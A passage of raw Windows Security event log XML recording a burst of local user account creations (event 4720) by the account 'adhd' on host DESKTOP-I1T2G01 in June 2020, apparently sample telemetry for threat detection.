Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jacob</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jacob - adhd - - - 4720 - 4189 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.2297279Z'/><EventRecordID>4189</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Howard</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1024</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Howard</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Howard - adhd - - - 4720 - 4183 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.1538353Z'/><EventRecordID>4183</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Teresa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1023</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Teresa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Teresa - adhd - - - 4720 - 4177 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.0395835Z'/><EventRecordID>4177</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nicholas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1022</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nicholas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nicholas - adhd - - - 4720 - 4171 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.9548753Z'/><EventRecordID>4171</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jennifer</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1021</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jennifer</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jennifer - adhd - - - 4720 - 4165 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.8714981Z'/><EventRecordID>4165</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Deborah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1020</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Deborah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Deborah - adhd - - - 4720 - 4159 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.7809702Z'/><EventRecordID>4159</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amber</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1019</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amber</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amber - adhd - - - 4720 - 4153 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.6860206Z'/><EventRecordID>4153</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nancy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1018</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nancy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nancy - adhd - - - 4720 - 4147 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.6116151Z'/><EventRecordID>4147</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Samantha</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1017</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Samantha</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Samantha - adhd - - - 4720 - 4141 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.5210305Z'/><EventRecordID>4141</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kimberly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1016</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kimberly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kimberly - adhd - - - 4720 - 4135 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.4398291Z'/><EventRecordID>4135</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1015</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amy - adhd - - - 4720 - 4129 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.3342046Z'/><EventRecordID>4129</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Victoria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1014</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Victoria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Victoria - adhd - - - 4720 - 4123 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.2315533Z'/><EventRecordID>4123</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Barbara</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1013</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Barbara</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Barbara - adhd - - - 4720 - 4117 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.1594000Z'/><EventRecordID>4117</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>George</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1012</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>George</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - George - adhd - - - 4720 - 4111 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.0588218Z'/><EventRecordID>4111</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amanda</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1011</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amanda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amanda - adhd - - - 4720 - 4105 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:51.9806507Z'/><EventRecordID>4105</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jane</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1010</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jane</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jane - adhd - - - 4720 - 4099 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider 